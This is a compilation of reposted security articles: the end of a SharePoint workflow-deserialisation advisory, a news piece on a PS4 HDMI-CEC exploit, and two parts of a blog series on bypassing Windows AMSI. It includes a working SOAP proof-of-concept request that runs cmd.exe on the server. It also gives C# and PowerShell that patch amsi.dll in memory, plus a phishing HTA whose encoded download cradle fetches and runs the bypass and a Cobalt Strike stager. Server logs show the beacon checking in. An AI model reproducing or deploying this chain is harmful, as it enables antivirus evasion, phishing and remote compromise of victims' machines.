Although the above payload worked successfully when compiled in Visual Studio or using the WFC command (even with /nocode /checktypes flags), it showed the following error message when tested in SharePoint:

The type or namespace name 'Presentation' does not exist in the namespace 'System.Activities' (are you missing an assembly reference?)

Example 3 – using AssemblyInstaller:

The following example shows another deserialisation gadget that needed an arbitrary DLL file to exist on the server. This DLL file was created using a technique described at https://blog.cylance.com/implications-of-loading-net-assemblies.

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobarx"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
   <sci:AssemblyInstaller Path="c:\path\Source.dll" xmlns:sci="clr-namespace:System.Configuration.Install;assembly=System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
   </sci:AssemblyInstaller>
</SequentialWorkflowActivity>

The above payload did not work in SharePoint as it could not find the namespace.

Recommendation

Apply the September 2018 Microsoft patch.

Vendor Communication

17/05/2018 Reported to Microsoft

17/05/2018 Case number assigned by Microsoft

11/09/2018 Patch was released

13/09/2018 Microsoft was contacted to check whether the reporter could publish the details
24/09/2018 Microsoft asked for more time before releasing the details to fix some crashes caused by the fix

02/11/2018 Permission granted from Microsoft to publish the details

Update (11/11/2018)

After releasing the initial potential code execution PoC on SharePoint, Soroush recevied a tip from Alvaro on Twitter to also try ProcessStartInfo and ObjectInstance. This method worked successfully after creating an appropriate XAML and including the required namespaces.

It is therefore now possible to execute code and commands on an unpatched server which increases risk of this issue from high to critical. Note that the .NET Framework needs updating rather than SharePoint in order to patch this issue similar to CVE-2018-8284.

The following HTTP POST request shows a PoC that could execute code on SharePoint:

POST /_vti_bin/webpartpages.asmx HTTP/1.1
Host: TargetHost
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSuppor
tObjects
Content-Type: text/xml; charset=utf-8
Content-Length: 1709
Cookie: [valid cookies or authorization header instead - fixed by burp]

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body<ValidateWorkflo
wMarkupAndCreateSupportObjects 
xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" 
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<Rd:ResourceDictionary xmlns:System="clr-namespace:System;assembly=mscorlib, 
Version=4.0.0.0, 
Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:Diag="clr-
namespace:System.Diagnostics;assembly=System,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns:Rd="clr-
namespace:System.Windows;Assembly=PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" 
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly=PresentationFramework, 
Version=4.0.0.0, Culture=neutral, 
PublicKeyToken=31bf3856ad364e35">
<ODP:ObjectDataProvider x:Key="LaunchCmd" MethodName="Start">
<ObjectDataProvider.ObjectInstance><Diag:Process><Diag:Process.StartInfo><Diag:Pro
cessStartInfo FileName="cmd.exe" Arguments="/c ping 
foobar.gyi5bjohiab9obycusymb22tkkqaez.burpcollaborator.net"></Diag:ProcessStartInf
o></Diag:Process.StartInfo></Diag:Process>
</ObjectDataProvider.ObjectInstance>
</ODP:ObjectDataProvider>
</Rd:ResourceDictionary>
</SequentialWorkflowActivity>
]]></workflowMarkupText>
<rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMa
rkupAndCreateSupportObjects></soap:Body></soap:Envelope>

If a path was not accessible, the server returned System.IO.FileNotFoundException, and when access was not sufficient to create, change or validate a workflow, the server responded with the System.NullReferenceException: Object reference not set to an instance of an object error message. Normally authenticated users should be able to create workflows in their spaces. The personal site can normally be found by going to the /my path and that should redirect users to their personal site (if it exists) then the payload can be sent to:

/my/personal/[SomeName]/[SomeSiteName]/_vti_bin/webpartpages.asmx

or

/my/personal/[yourUsername]/_vti_bin/webpartpages.asmx

If users have control over any other sites in SharePoint to create workflows, those paths can be used also.

The following GIF video file shows this issue in practice, exploited to obtain a reverse shell where the permissions were sufficient:

 

 

PS4: Fail0verflow disclose an exploit that could work on “all currently released hardware and software versions of PS4”

( Original text  BY  )

Famed hacker group Fail0verflow have published a new blog article yesterday, in which they describe a novel way to gain code execution on the PS4. Developer ps4_enthusiast, who is behind the writeup, states the exploit is a way to “gain EMC code exec on any hardware revision.” (EMC is part of the PS4 Southbridge, see below).

This could be bringing the hope of an upcoming hack to anyone who has been running on a recent firmware. 5.05/5.07 are currently the latest publicly hackable firmwares.

As often, the post is in-depth enough that people motivated to reproduce Fail0verflow’s steps should be able to do so, but complicated enough that for the end user, this will not instantly be useful. At all, except for hope as mentioned above.

The exploit involves feeding bogus data to the HDMI port of the console (by exploiting bugs in the CEC interface on the PS4 – CEC is the bit of HDMI protocol magic that lets you turn your TV instantly when you switch the PS4 on, and vice versa) in order to trigger a bug that will let you overwrite data in the PS4’s Southbridge (known as Aeolia or Belize depending on the hardware revision) and get code execution from there.

Sounds complicated? That’s because it probably is, and the overall process currently seems to involve lots of software and hardware hacks. (Picture below is part of the actual setup used by Fail0verflow).

Whether motivated hackers will be able to parse all the necessary information from the article, and turn it into an actual modchip for the PS4 is up for discussion at this point. But I wouldn’t be surprised if we heard good news in the weeks or months to come.

Check the full writeup at the source below.

 


Source: Fail0verflow

 

AmsiScanBuffer Bypass — Part 3

( Original text by  )

In Part 2, we engineered a delivery method for the AmsiScanBuffer Bypass discussed in Part 1. In this post, we’ll make some modifications to the bypass itself.

If you read Part 1 and the original posts from CyberArk, you will know that the bypass works by patching the AMSI DLL in memory. But before we make any modifications to the bypass — let’s explore that in some additional detail, so we all have a clear baseline understanding.

Bypass Primer

We can use API Monitor to have a peak at what’s going on.

To summerise what we’re looking at:

  1. powershell.exe starts and amsi.dll is loaded into its memory space.
  2. We type something into the console.
  3. The AmsiScanBuffer function is called.
  4. Where our input is passed into.

This is the AmsiScanBuffer function as documented by Microsoft:

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

We won’t worry about all of this — just the idea that we have a buffer of length, that when scanned, returns a result. To help visualise the bypass, let’s throw PowerShell into a debugger.

We’ll set a breakpoint on the AmsiScanBuffer function and type something into the console.

We step down to the mov edi, r8d instruction — because we know from CyberArk that r8d contains the length of the buffer. We can also see that in Binary Ninja.

After the instruction, both edi and r8d contain 2c — which in decimal is 44. Our string "this is some garbage" is 22 characters, so this checks out (bits and bytes, amirite). In the context of AmsiScanBuffer, it’s saying “scan 22 bytes of this buffer”.

The bypass works by slightly patching this instruction — changing mov edi, r8d to xor edi, edi. Because if you xor two identical values, i.e. the current value of edi (whatever it happens to be) with itself, the result is always 0. So if we run the bypass and look at the instructions again…

edi is now zero — i.e. “scan 0 bytes of this buffer”. So if AmsiScanBuffer scans 0 bytes, it will not actually scan anything at all.

AMSI_RESULT_CLEAN

So the whole reason for this post, is that I was talking to Kuba Gretzky about the bypass after I’d posted my Part 1. He said:

the risky part with the bypass is that it uses a fixed offset from the start of the function AmsiScanBufferPtr + 0x001b. MS can just slightly modify the AmsiScanBuffer function and the bypass will result in a crash. It would be wiser to do hotpatching at the beginning of the function to return a result that would say that nothing was found.

If we have have a look at the AMSI_RESULT details that we glossed over previously — there are different results that can be returned.

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;

So could we just patch the function so that it always returns AMSI_RESULT_CLEAN?

Revisiting the AmsiScanBuffer function in Binary Ninja, we can see there are a whole bunch of instructions followed by conditional jumps, but all to the same address: 0x180024f5.

The content of which is a mov eax, 0x80070057 instruction, which we guessed meant AMSI_RESULT_CLEAN.

The original bypass was:

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

Which we modified to:

Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

Where 0xB8, 0x57, 0x00, 0x07, 0x80 are the (hex) opcodes for mov eax, 0x80070057; and 0xC3 is a retn. And notice there is no offset — we are patching the first two instructions in the function.

Before we carry out this patch, we can verify those first two instructions at the AmsiScanBuffer pointer.

They match what we expect from Binary Ninja. If we implement our new patch and look again…

The rest of the instructions become a bit munged, but that doesn’t matter. Hopefully we’ll just enter AmsiScanBuffer, immediately set eax and return.

Which seems to work just fine.

This is no “better” than the previous bypass, but hopefully will be a little more resilient against future modifications to amsi.dll by Microsoft.

AmsiScanBuffer Bypass — Part 2

( Original text by  )

In Part 1, we had a brief look at the AmsiScanBuffer bypass technique. We found some circumstances where the bypass code would be identified as malicious before it could be executed (which turned out to be a simple string detection), and modified the code to circumvent this.

In this post, we’ll explore a delivery method to help stage a Cobalt Strike / Empire / <insert framework here> agent. As with Part 1, this is not about some 1337 code drop — it’s a demonstration of how I walked through engineering the final result.

So, let’s get cracking.

Before we start, we have a few goals in mind:

  1. Deliver “something” to a user, via a phish or some other social engineering event.
  2. The initial payload should ideally have a small footprint. We don’t want to deliver everything in one go.
  3. Perform the AMSI bypass.
  4. If the bypass was successful, stage a beacon.
  5. Otherwise, run for the hills.

For the delivery method, we’ll use an HTA with a PowerShell payload. That payload will pull and execute the AMSI Bypass code, then if successful, pull and execute the beacon stager. Simple 🙂

Generate Stager

We’ll start by generating a simple stager, host it on a web server and just verify that AMSI does indeed prevent it from running. We’ll be serving these payloads using download cradles, so it’s always worth making sure they behave as you expect.

AMSI Bypass

For the AMSI Bypass payload, we’ll throw the C# source into a PowerShell script and use Add-Type to make it available within the PowerShell session.

$Ref = (
«System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089«,
«System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a«
)
$Source =
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport(«kernel32»)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(«kernel32»)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(«kernel32»)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport(«Kernel32.dll», EntryPoint = «RtlMoveMemory», SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary(«amsi.dll»);
if (TargetDLL == IntPtr.Zero) { return 1; }
IntPtr ASBPtr = GetProcAddress(TargetDLL, «Amsi» + «Scan» + «Buffer»);
if (ASBPtr == IntPtr.Zero) { return 1; }
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
return 0;
}
}
}
«@
Add-Type ReferencedAssemblies $Ref TypeDefinition $Source Language CSharp
view rawASBBypass.ps1 hosted with ❤ by GitHub

We’ll then test it out by downloading and executing it, then running the stager that failed earlier.

All good so far.

Next step is to hook in the logic for deciding whether the AMSI bypass was successful. There are a couple of opportunities in the Disable() function where it returns an int of 1 if something fails and 0 if it makes it to the end.

So in pseudo-code we can say something like execute bypass; if (bypass -eq "0") { execute stager }. If bypass returns 1, we naturally don’t do anything more.

HTA

To execute that PowerShell inside an HTA, we can base64 encode it so we don’t have to worry about escaping characters.

$string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'

[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

The final HTA is nice and small.

<script language="VBScript">
    Function var_func()
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA=", 0, true
    End Function

    var_func
    self.close
</script>

Finally, we host the HTA and test it with C:\Users\Rasta>mshta http://192.168.214.129/delivery.hta.

The web logs show us exactly what we expect.

  1. AMSI download
  2. Stager download
  3. Beacon checkin
10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

Awesome sauce. And for those who want it, I also uploaded the code to GitHub.